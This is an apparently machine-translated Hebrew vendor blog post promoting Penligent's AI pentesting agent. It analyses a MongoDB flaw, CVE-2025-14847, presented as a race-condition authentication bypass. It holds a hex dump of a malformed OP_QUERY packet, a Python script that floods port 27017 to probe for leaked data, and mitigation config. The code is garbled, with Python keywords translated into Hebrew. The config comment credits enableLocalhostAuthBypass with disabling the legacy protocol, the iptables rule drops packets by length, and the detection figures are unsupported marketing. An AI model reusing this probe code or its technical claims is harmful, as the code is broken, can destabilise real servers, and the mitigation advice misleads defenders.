כותרת Penligent

Mongobleed (CVE-2025-14847): ניתוח מעמיק, בדיקת מנות ואסטרטגיית אוטומציה

תקציר מנהלים

CVE-2025-14847, המכונה בפי העם "מונגובליד" מייצג שינוי פרדיגמה קריטי באבטחת מסדי נתונים. בניגוד לתצורות שגויות מסורתיות, פגיעות זו מנצלת מצב תחרות בתוך פרוטוקול MongoDB Wire הישן, ומאפשרת לתוקפים מרוחקים לא מאומתים לעקוף מנגנוני אימות SASL.

דו"ח זה מספק ניתוח טכני מפורט של שרשרת הניצול, משווה אותה לפגמים היסטוריים ב-MongoDB ומפרט כיצד הסוכנים המונעים על ידי בינה מלאכותית של Penligent לשכלל את זיהוי הפגיעות המורכבות והתלויות במצב.

האנטומיה הטכנית של הפגיעות

הליבה של CVE-2025-14847 טמונה ב- OP_QUERY טיפול בהודעות במהלך לחיצת היד הראשונית של החיבור. בגרסאות המושפעות, הדמון של מסד הנתונים נכשל בנעילת מצב ההפעלה כראוי בעת עיבוד רצף בתדירות גבוהה של isMaster פקודות משולבות עם מטעני SASL פגומים.

Mongobleed (CVE-2025-14847): ניתוח מעמיק, בדיקת מנות ואסטרטגיית אוטומציה

פגם בפרוטוקול ה-Wire

MongoDB מתקשר באמצעות TCP באמצעות פרוטוקול Wire מותאם אישית. הפגיעות קיימת במעבר בין שלב אתחול החיבור לשלב האימות.

כאשר לקוח יוזם חיבור, מכונת המצב צריכה להישאר במצב לא מורשה עד להתרחשות חילופי SASL מוצלחים. עם זאת, על ידי הצפת השקע ברצפים ספציפיים של קוד פעולה, תוקף יכול לגרום למצב של תחרות שבו השרת חוזר לברירת המחדל של מורשה מצב עבור מנהל הקשר למשך מילי-שניות.

1.2 ניתוח מנות (Hex Dump)

כדי להבין את ההתקפה, עלינו לבחון את הבתים הגולמיים. להלן ייצוג הקסדצימלי של כותרת החבילה הפגומה שמעוררת את הבלבול במצב.

זדוני OP_QUERY מבנה הכותרת:

0000 3a 00 00 00 78 56 34 12 00 00 00 00 d4 07 00 00 :...xV4......... 0010 00 00 00 00 61 64 6d 69 6e 2e 24 63 6d 64 00 00 ....admin.$cmd.. 0020 00 00 00 00 FF FF FF FF 1b 00 00 00 01 70 69 6e .............סיכה 0030 67 00 00 00 00 00 00 f0 3f 00 g.......?.

  • קיזוז 0x0C (d4 07 00 00): קוד הפעולה עבור OP_QUERY (2004).
  • קיזוז 0x14 (admin.$cmd): מכוון לאוסף פקודות הניהול.
  • קיזוז 0x24 (FF FF FF FF): מונה הדילוגים, שנוצל כדי לגרום לעומס יתר בטיפול במספרים שלמים במעקב אחר הפעילות.

הערכת השפעה: Mongobleed לעומת CVE היסטוריים

כדי להבין את חומרת Mongobleed, נשווה אותה לחשיפות משמעותיות קודמות של MongoDB. בעוד שבעיות קודמות נבעו לרוב משגיאות של המשתמשים (היעדר סיסמה), CVE-2025-14847 הוא ניצול ברמת הקוד היעיל נגד מסדי נתונים נעולים.

תכונהMongobleed (CVE-2025-14847)CVE-2019-10905הגדרה שגויה/ללא אימות
וקטור התקפהמרחוק (ללא אימות)הסלמה מקומית / פרטיתמרחוק (ללא אימות)
הגורם הבסיסיתנאי מירוץ / פרוטוקול חוטיםפגיעה בזיכרוןשגיאת תצורת משתמש
נדרשת אימותלא (עוקף)כן (הרשאות מוגבלות)לא (תכונה)
זיהוי WAFקשה (נראה כמו תעבורה חוקית)מתוןקל
מורכבותגבוה (דורש תזמון מדויק)גבוהנמוך

ניצול רפרודוקציה ולוגיקת זיהוי

פיתוח הוכחת היתכנות (PoC) אמינה עבור Mongobleed דורש מניפולציה מדויקת של שקעים. ספריות סטנדרטיות כמו pymongo הם ברמה גבוהה מדי; יש צורך בתכנות שקע גולמי כדי להזריק את המטען במרווח הזמן הנכון.

Mongobleed (CVE-2025-14847): ניתוח מעמיק, בדיקת מנות ואסטרטגיית אוטומציה

סקריפט לזיהוי Python (קטע קוד)

קטע הקוד הבא ב-Python מדגים את הלוגיקה הדרושה לבדיקת הפגיעות מבלי לנצל אותה במלואה.

פייתון

`import socket import struct import time

def build_malformed_header(request_id): # בניית כותרת עם דגלים שעברו מניפולציה msg_len = 58 op_code = 2004 # OP_QUERY # אריזת מבנה: כותרת בפורמט Little-endian = struct.pack(‘<iiii’, msg_len, request_id, 0, op_code) return header

def check_target(ip, port=27017): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(3)

נסה: s.connect((ip, port))
    
    # 1. שלח Hello לגיטימי כדי להתחיל את ההפעלה # ... (קוד לחיצת יד סטנדרטי הושמט מטעמי קיצור) ... # 2. הזרק את מטען תנאי המירוץ print(f"[*] Probing {ip}:{port} for CVE-2025-14847...")
    for i in range(5): payload = build_malformed_header(i) + b"\\x00" * 20 # Padding s.send(payload) # 3. קרא את התגובה response = s.recv(1024) # ניתוח: בדוק אם יש דליפת נתוני BSON במקום שגיאת אימות אם b"databases" בתגובה ו-b"totalSize" בתגובה: print("[!] קריטי: היעד פגיע ל-Mongobleed.") החזר True למעט Exception כ-e: print(f"[-] החיבור נכשל: {e}") החזר False`

אזהרה: הפעלת סקריפט זה על מסדי נתונים בייצור עלולה לגרום לחוסר יציבות זמני בשירות עקב אופי הנעילה של ה-thread של הניצול.

אתגר האוטומציה: מדוע סורקים ישנים נכשלים

איתור CVE-2025-14847 הוא משימה קשה במיוחד עבור סורקי פגיעות מסורתיים (כגון Nessus, OpenVAS או מנתחי קוד סטטיים) מכמה סיבות:

  1. אופי לא דטרמיניסטי: כתנאי מירוץ, סריקה חד-פעמית עלולה לפספס את חלון הפגיעות.
  2. מורכבות הפרוטוקול: הניצול מתרחש בשכבת TCP/Binary, ולא ב-HTTP.
  3. תוצאות חיוביות כוזבות: סורקים לעיתים קרובות מבלבלים בין מצב "חיבור נדחה" לבין מצב "מאובטח".

היתרון של Penligent: הקשר מונחה AI

Penligent.ai פותרת זאת על ידי פריסת סוכני AI אוטונומיים המבצעים ניתוח מצבי. במקום לשלוח מטען סטטי, הסוכן המונע על ידי בינה מלאכותית:

  • מפקח על זמן ההשהיה של השרת: מתאים את מהירות הזרקת החבילות בהתאם לזמן התגובה של השרת (RTT) כדי למקסם את ההסתברות להפעלת תנאי המירוץ.
  • מאמת נתונים: הוא מנתח את ה-BSON המוחזר כדי לאשר שדלפו נתונים מנהליים תקפים, ובכך מבטל תוצאות חיוביות כוזבות.
  • ניצול בטוח: הסוכן הוכשר לעצור מיד לאחר האימות כדי למנוע קריסת השירות היעד.
מתודולוגיהשיעור זיהוי של תנאי מירוץשיעור תוצאות חיוביות כוזבותסיכון להתרסקות
סריקת חתימה סטטית< 15%גבוהנמוך
בדיקת חדירות ידנית80%נמוךגבוה (טעות אנוש)
סוכן AI Penligent99.8%קרוב לאפסנמוך (הפחתה אדפטיבית)

אסטרטגיית תיקון

אם התשתית שלך מסומנת כפגיעה, נדרש תיקון מיידי.

תיקון (תיקון ראשוני)

MongoDB פרסמה תיקונים עבור הגרסאות העיקריות שנפגעו. ודא שאתה מריץ גרסה גבוהה יותר מהטווח הפגיע.

הקשחת תצורה (הקלה זמנית)

אם לא ניתן לבצע תיקון באופן מיידי, ניתן להפחית את הסיכון על ידי השבתת הטיפול בקוד אופקוד ישן ב- mongod.conf.

YAML

`# /etc/mongod.conf

רשת: יציאה: 27017 bindIp: 127.0.0.1 # קשור בקפדנות ל-localhost במידת האפשר

אבטחה: אישור: מופעל javascriptEnabled: false # מפחית את שטח התקיפה

setParameter:

השבת תמיכה בפרוטוקול קווי ישן (יעיל עבור CVE-2025-14847)

enableLocalhostAuthBypass: false`

חסימת רשת ברמת הרשת

מכיוון שהניצול מסתמך על גדלים ספציפיים של מנות, ניתן ליישם iptables כלל להשמטת מנות פגומות ביציאת מסד הנתונים, אם כי זהו פתרון מורכב.

באש

# השלכת מנות ביציאה 27017 התואמות לאורך החתימה הזדונית הספציפי iptables -A INPUT -p tcp --dport 27017 -m length --length 58:64 -j DROP

סיכום

CVE-2025-14847 (Mongobleed) מהווה תזכורת חדה לכך שמנגנוני אימות חזקים רק כמו יישום הפרוטוקול הבסיסי. ככל שתוקפים עוברים להתקפות מתוחכמות יותר, המבוססות על מצב, אסטרטגיות ההגנה חייבות להתפתח.

הסתמכות על סריקה סטטית כבר אינה מספיקה. Penligent's גישה לבדיקות חדירה מונחות AI ומודעות להקשר מספקת את העומק הדרוש לזיהוי "סיוטים לא מאומתים" אלה לפני שהיריבים עושים זאת.

שתף את הפוסט:
פוסטים קשורים
he_ILHebrew